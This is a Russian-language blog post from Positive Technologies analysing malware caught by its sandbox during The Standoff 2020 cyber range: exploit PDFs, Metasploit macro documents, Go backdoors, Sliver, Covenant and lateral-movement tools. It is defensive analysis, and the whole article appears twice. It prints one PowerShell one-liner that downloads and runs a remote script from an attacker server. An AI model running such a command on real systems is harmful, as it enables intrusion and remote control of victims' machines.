С 12 по 17 ноября 2020 года на киберполигоне The Standoff прошла крупнейшая битва между командами атакующих и защитников. Действия разворачивались в течение 123 часов в городе FF — цифровом двойнике мегаполиса с характерной инфраструктурой: морским портом, аэропортом, нефтяным месторождением, деловым центром, парком развлечений и другими объектами.
Двадцать девять команд атаковали инфраструктуру, добиваясь реализации бизнес-рисков, опасных для различных компаний, работающих в городе, а другие шесть команд мониторили и изучали активность нападающих, тренировали навыки противодействия и расследования инцидентов. В общем, все как в жизни. Хотя кроме нападающих и обороняющихся была еще третья сторона, которая пристально наблюдала за их действиями, — глобальный SOC (подробнее о нем читайте в другой нашей статье). Прозванный Большим Братом, SOC объединил несколько команд PT Expert Security Center, которые в режиме нон-стоп анализировали события при помощи специальных средств защиты. Одной из таких команд был отдел обнаружения вредоносного ПО, который с помощью песочницы PT Sandbox вылавливал и исследовал троянские программы «редтимеров». Напомним, PT Sandbox может:
• сканировать файл правилами PT ESC,
• сканировать файл движками внешних антивирусных вендоров,
• обнаруживать вредоносную активность после запуска в изолированной среде поведенческими правилами,
• анализировать сетевой трафик правилами PT Network Attack Discovery,
• анализировать дампы процессов правилами PT ESC.
Сегодня мы расскажем о том, что и как нам удалось поймать, а также о том, какие находки нас особенно впечатлили.
Во время активных действий на The Standoff (с 12:00 12 ноября и до 15:00 17 ноября) песочница PT Sandbox обнаружила вредоносное ПО в 8609 файлах. Такие файлы поступали в систему анализа двумя способами:
• из трафика, перехваченные с помощью PT Network Attack Discovery;
• с почтовых серверов в инфраструктуре города FF — при анализе вложений в письмах.
Практически половина всех пойманных троянов была найдена в ночь с 15 на 16 ноября.
Мы провели огромную работу по валидации задетектированных объектов, каждый образец мы отнесли к той или иной группе. Иными словами, все зловреды были классифицированы по семействам.
В реальных инфраструктурах не происходит такого обилия атак за единицу времени, как это было во время кибербитвы. Кроме того, профиль атакующих in the wild обширнее: используется больше различных инструментов, в том числе ориентированных на какие-то специфичные действия (скажем, на получения финансовой выгоды или кибершпионаж). Однако с точки зрения представленных классов вредоносного ПО картина вполне правдоподобна. При типовых атаках преобладает использование уязвимостей в популярном софте и промежуточных загрузчиков (stagers) для получения первичного доступа.
Совместим дальнейший анализ получившейся диаграммы с разбором некоторых образцов.
Практически половину зловредов составили PDF-документы с эксплойтами для уязвимости CVE-2018-4993 в программе Adobe Acrobat Reader. Уязвимость заключается в автоматическом соединении с удаленным сервером по протоколу SMB. В результате такого соединения атакующий может получить Net-NTLM response жертвы на специально подготовленный Net-NTLM challenge.
MD5: 484e1fe323ad4696f252a142d97be2c2
При удачном развитии событий атакующий может восстановить учетные данные жертвы путем перебора возможных значений (брутфорса) или же использовать сетевые соединения для атаки NTLM-relay.
На рисунке ниже представлен пример того, что, собственно, мы и видели при обнаружении вредоносного документа с совершенно безобидным названием goodpdf.pdf.
Отмечу, что за 123 часа мы встретили случаи использования инструмента Responder, который используется атакующими, в частности, для вышеупомянутой атаки NTLM-relay.
MD5: 9bcec68fd23e12e09a89948ae4483e62
Около трети проанализированного ВПО мы отнесли к этой категории. Сюда вошли все вариации полезной нагрузки, сгенерированной с применением Metasploit, популярнейшего проекта для тестов на проникновение — не нуждающегося в гиперссылке ;) Добавлю, что здесь посчитаны те случаи, в которых мы не подтвердили использование какой-то конкретной полезной нагрузки. Рассмотрим в качестве примера один из образцов.
MD5: f7a8f6169df5b399cdac045e610b90f1
В сетевом трафике был перехвачен файл с подозрительным именем killerqueen.xlsm. Это офисный документ для Excel нового образца с макросом.
Извлеченный код макроса позволяет судить о запуске нового потока с позиционно независимым кодом сразу после открытия документа.
Получаем дизассемблированный листинг буфера данных, на который передается управление, и убеждаемся в том, что перед нами исполняемый код.
А в байтовом представлении легко улавливаются читаемые строки User Agent, используемого для HTTP-запросов, и IP-адрес атакующих.
Впрочем, образец был обнаружен PT Sandbox из-за использования макроса еще на начальной стадии, до всех этих ухищрений.
Тринадцатого ноября в 07:46 по московскому времени мы обнаружили интересный образец. Изначально определенный уровень опасности был выявлен в аномальном сетевом трафике при поведенческом анализе, за счет чего образец получил вердикт трояна-загрузчика. Но гораздо более интересным во время статического анализа было срабатывание специального YARA-правила, которое определяет нелегитимные случаи использования упаковщика UPX.
MD5: 298fc6e08c81e40a166c62bab42459af
Особенность использования упаковщика UPX заключается в отсутствии имен секций, которые проставляет стандартная версия. Тем не менее код упаковщика остался неизменным. Также на рисунке ниже можно заметить еще один артефакт — версию 3.96 упаковщика UPX.
Внимательный читатель наверняка обратил внимание на еще один артефакт на рисунке: образец написан на языке Go, повсеместно набирающем популярность.
Проанализировав образец, мы не нашли его исходных кодов в публичных источниках. Тем не менее его возможности соответствуют джентельменскому набору инструмента для удаленного управления ПК жертвы:
• создание файлов,
• получение текущего каталога,
• получение содержимого текущего каталога,
• смена каталога,
• загрузка данных на компьютер жертвы,
• выгрузка данных с компьютера жертвы,
• выполнение команд через shell (cmd.exe в случае Windows),
• шифрование данных, отправляемых на управляющий сервер, с помощью RC4.
Стоит сказать, что этот бэкдор может выполнять и роль прокси: через каналы Go он может принимать и отправлять данные на управляющий сервер, играя роль оркестратора для дополнительных плагинов, расширяющих его возможности.
Отмечу, что мы оперативно проанализировали этот бэкдор, усовершенствовали поведенческие правила — и благополучно обнаруживали прочие его модификации при поведенческом анализе.
Конечно же, мы обнаружили аналогичную версию трояна, но скомпилированную уже под Linux, причем с той же особенностью: несмотря на упаковку, в PE-заголовке также отсутствует упоминание об UPX. Вот вам наглядное преимущество использования языка программирования с кросс-компилируемостью!
Бегло пройдемся по некоторым другим семействам, образцов в которых было значительно меньше, но они от этого ничуть не менее любопытны.
MD5: f198d4402dc38620c5a75067a0ed568a
Еще один бэкдор на Go. На этот раз, правда, не упакованный, но зато все используемые строки закодированы операцией XOR с ключом, длина которого совпадает с длиной строки.
После деобфускации мы установили, что это вариация общедоступного фреймворка для постэксплуатации Sliver с частично урезанными возможностями взаимодействия с управляющим сервером.
Еще один образец был получен при следующей цепочке действий. На анализ попал однострочный скрипт для PowerShell:
powershell -c «IEX(New-Object System.Net.WebClient).DownloadString('http://*.*.34.54:8000/s5.ps1')»
В результате запуска с управляющего сервера был получен снова скрипт PowerShell, но значительно большего размера.
Полезная нагрузка сжата с помощью Deflate и вновь закодирована Base64.
В результате получен имплант постэксплуатационного фреймфорка на .NET Covenant.
MD5: 8a97322e3c0245c57b231417b060eec9
А вот пример минималистичного, но работоспособного реверс-шелла на PowerShell.
MD5: aaebe541fa164e77e2f90c9e67dbbaca
Просто, но эффективно.
Конечно, мы не могли не отметить инструменты для продвижения внутри сети — SharpHound и Rubeus.
MD5: 513d35b572b05caa1571a48db1ae24de
MD5: 98382aae04b763f096a3b868d9ba70fe
Отдельный интерес представляло наблюдение за тем, какую фантазию проявляли атакующие по части названий:
***
Итак, если подводить итоги нашей работы и работы нашего инструментария во время The Standoff, то:
• в каждом третьем случае совокупность антивирусных движков трех внешних вендоров пропустила вредоносное ПО;
• технологии статического и поведенческого детекта PT ESC не только существенно дополнили комбинацию классических средств защиты, но и показали достойный уровень обнаружения.
Фактически эта картина очередной раз подтверждает, что использование различных экспертных знаний, технологий, подходов к обнаружению существенно повышает уровень обнаружения вредоносного ПО. Эта же мысль относится и к использованию совокупности решений различных классов, которое повышает уровень информационной безопасности в целом.
Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies
Двадцать девять команд атаковали инфраструктуру, добиваясь реализации бизнес-рисков, опасных для различных компаний, работающих в городе, а другие шесть команд мониторили и изучали активность нападающих, тренировали навыки противодействия и расследования инцидентов. В общем, все как в жизни. Хотя кроме нападающих и обороняющихся была еще третья сторона, которая пристально наблюдала за их действиями, — глобальный SOC (подробнее о нем читайте в другой нашей статье). Прозванный Большим Братом, SOC объединил несколько команд PT Expert Security Center, которые в режиме нон-стоп анализировали события при помощи специальных средств защиты. Одной из таких команд был отдел обнаружения вредоносного ПО, который с помощью песочницы PT Sandbox вылавливал и исследовал троянские программы «редтимеров». Напомним, PT Sandbox может:
• сканировать файл правилами PT ESC,
• сканировать файл движками внешних антивирусных вендоров,
• обнаруживать вредоносную активность после запуска в изолированной среде поведенческими правилами,
• анализировать сетевой трафик правилами PT Network Attack Discovery,
• анализировать дампы процессов правилами PT ESC.
Сегодня мы расскажем о том, что и как нам удалось поймать, а также о том, какие находки нас особенно впечатлили.
Общая статистика
Во время активных действий на The Standoff (с 12:00 12 ноября и до 15:00 17 ноября) песочница PT Sandbox обнаружила вредоносное ПО в 8609 файлах. Такие файлы поступали в систему анализа двумя способами:
• из трафика, перехваченные с помощью PT Network Attack Discovery;
• с почтовых серверов в инфраструктуре города FF — при анализе вложений в письмах.
Практически половина всех пойманных троянов была найдена в ночь с 15 на 16 ноября.
Мы провели огромную работу по валидации задетектированных объектов, каждый образец мы отнесли к той или иной группе. Иными словами, все зловреды были классифицированы по семействам.
В реальных инфраструктурах не происходит такого обилия атак за единицу времени, как это было во время кибербитвы. Кроме того, профиль атакующих in the wild обширнее: используется больше различных инструментов, в том числе ориентированных на какие-то специфичные действия (скажем, на получения финансовой выгоды или кибершпионаж). Однако с точки зрения представленных классов вредоносного ПО картина вполне правдоподобна. При типовых атаках преобладает использование уязвимостей в популярном софте и промежуточных загрузчиков (stagers) для получения первичного доступа.
Совместим дальнейший анализ получившейся диаграммы с разбором некоторых образцов.
CVE-2018-4993
Практически половину зловредов составили PDF-документы с эксплойтами для уязвимости CVE-2018-4993 в программе Adobe Acrobat Reader. Уязвимость заключается в автоматическом соединении с удаленным сервером по протоколу SMB. В результате такого соединения атакующий может получить Net-NTLM response жертвы на специально подготовленный Net-NTLM challenge.
MD5: 484e1fe323ad4696f252a142d97be2c2
При удачном развитии событий атакующий может восстановить учетные данные жертвы путем перебора возможных значений (брутфорса) или же использовать сетевые соединения для атаки NTLM-relay.
На рисунке ниже представлен пример того, что, собственно, мы и видели при обнаружении вредоносного документа с совершенно безобидным названием goodpdf.pdf.
Отмечу, что за 123 часа мы встретили случаи использования инструмента Responder, который используется атакующими, в частности, для вышеупомянутой атаки NTLM-relay.
MD5: 9bcec68fd23e12e09a89948ae4483e62
Metasploit
Около трети проанализированного ВПО мы отнесли к этой категории. Сюда вошли все вариации полезной нагрузки, сгенерированной с применением Metasploit, популярнейшего проекта для тестов на проникновение — не нуждающегося в гиперссылке ;) Добавлю, что здесь посчитаны те случаи, в которых мы не подтвердили использование какой-то конкретной полезной нагрузки. Рассмотрим в качестве примера один из образцов.
MD5: f7a8f6169df5b399cdac045e610b90f1
В сетевом трафике был перехвачен файл с подозрительным именем killerqueen.xlsm. Это офисный документ для Excel нового образца с макросом.
Извлеченный код макроса позволяет судить о запуске нового потока с позиционно независимым кодом сразу после открытия документа.
Получаем дизассемблированный листинг буфера данных, на который передается управление, и убеждаемся в том, что перед нами исполняемый код.
А в байтовом представлении легко улавливаются читаемые строки User Agent, используемого для HTTP-запросов, и IP-адрес атакующих.
Впрочем, образец был обнаружен PT Sandbox из-за использования макроса еще на начальной стадии, до всех этих ухищрений.
Goagent
Тринадцатого ноября в 07:46 по московскому времени мы обнаружили интересный образец. Изначально определенный уровень опасности был выявлен в аномальном сетевом трафике при поведенческом анализе, за счет чего образец получил вердикт трояна-загрузчика. Но гораздо более интересным во время статического анализа было срабатывание специального YARA-правила, которое определяет нелегитимные случаи использования упаковщика UPX.
MD5: 298fc6e08c81e40a166c62bab42459af
Особенность использования упаковщика UPX заключается в отсутствии имен секций, которые проставляет стандартная версия. Тем не менее код упаковщика остался неизменным. Также на рисунке ниже можно заметить еще один артефакт — версию 3.96 упаковщика UPX.
Внимательный читатель наверняка обратил внимание на еще один артефакт на рисунке: образец написан на языке Go, повсеместно набирающем популярность.
Проанализировав образец, мы не нашли его исходных кодов в публичных источниках. Тем не менее его возможности соответствуют джентельменскому набору инструмента для удаленного управления ПК жертвы:
• создание файлов,
• получение текущего каталога,
• получение содержимого текущего каталога,
• смена каталога,
• загрузка данных на компьютер жертвы,
• выгрузка данных с компьютера жертвы,
• выполнение команд через shell (cmd.exe в случае Windows),
• шифрование данных, отправляемых на управляющий сервер, с помощью RC4.
Стоит сказать, что этот бэкдор может выполнять и роль прокси: через каналы Go он может принимать и отправлять данные на управляющий сервер, играя роль оркестратора для дополнительных плагинов, расширяющих его возможности.
Отмечу, что мы оперативно проанализировали этот бэкдор, усовершенствовали поведенческие правила — и благополучно обнаруживали прочие его модификации при поведенческом анализе.
Конечно же, мы обнаружили аналогичную версию трояна, но скомпилированную уже под Linux, причем с той же особенностью: несмотря на упаковку, в PE-заголовке также отсутствует упоминание об UPX. Вот вам наглядное преимущество использования языка программирования с кросс-компилируемостью!
Прочие, но не менее интересные
Бегло пройдемся по некоторым другим семействам, образцов в которых было значительно меньше, но они от этого ничуть не менее любопытны.
MD5: f198d4402dc38620c5a75067a0ed568a
Еще один бэкдор на Go. На этот раз, правда, не упакованный, но зато все используемые строки закодированы операцией XOR с ключом, длина которого совпадает с длиной строки.
После деобфускации мы установили, что это вариация общедоступного фреймворка для постэксплуатации Sliver с частично урезанными возможностями взаимодействия с управляющим сервером.
Еще один образец был получен при следующей цепочке действий. На анализ попал однострочный скрипт для PowerShell:
powershell -c «IEX(New-Object System.Net.WebClient).DownloadString('http://*.*.34.54:8000/s5.ps1')»
В результате запуска с управляющего сервера был получен снова скрипт PowerShell, но значительно большего размера.
Полезная нагрузка сжата с помощью Deflate и вновь закодирована Base64.
В результате получен имплант постэксплуатационного фреймфорка на .NET Covenant.
MD5: 8a97322e3c0245c57b231417b060eec9
А вот пример минималистичного, но работоспособного реверс-шелла на PowerShell.
MD5: aaebe541fa164e77e2f90c9e67dbbaca
Просто, но эффективно.
Конечно, мы не могли не отметить инструменты для продвижения внутри сети — SharpHound и Rubeus.
MD5: 513d35b572b05caa1571a48db1ae24de
MD5: 98382aae04b763f096a3b868d9ba70fe
Отдельный интерес представляло наблюдение за тем, какую фантазию проявляли атакующие по части названий:
***
Итак, если подводить итоги нашей работы и работы нашего инструментария во время The Standoff, то:
• в каждом третьем случае совокупность антивирусных движков трех внешних вендоров пропустила вредоносное ПО;
• технологии статического и поведенческого детекта PT ESC не только существенно дополнили комбинацию классических средств защиты, но и показали достойный уровень обнаружения.
Фактически эта картина очередной раз подтверждает, что использование различных экспертных знаний, технологий, подходов к обнаружению существенно повышает уровень обнаружения вредоносного ПО. Эта же мысль относится и к использованию совокупности решений различных классов, которое повышает уровень информационной безопасности в целом.
Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies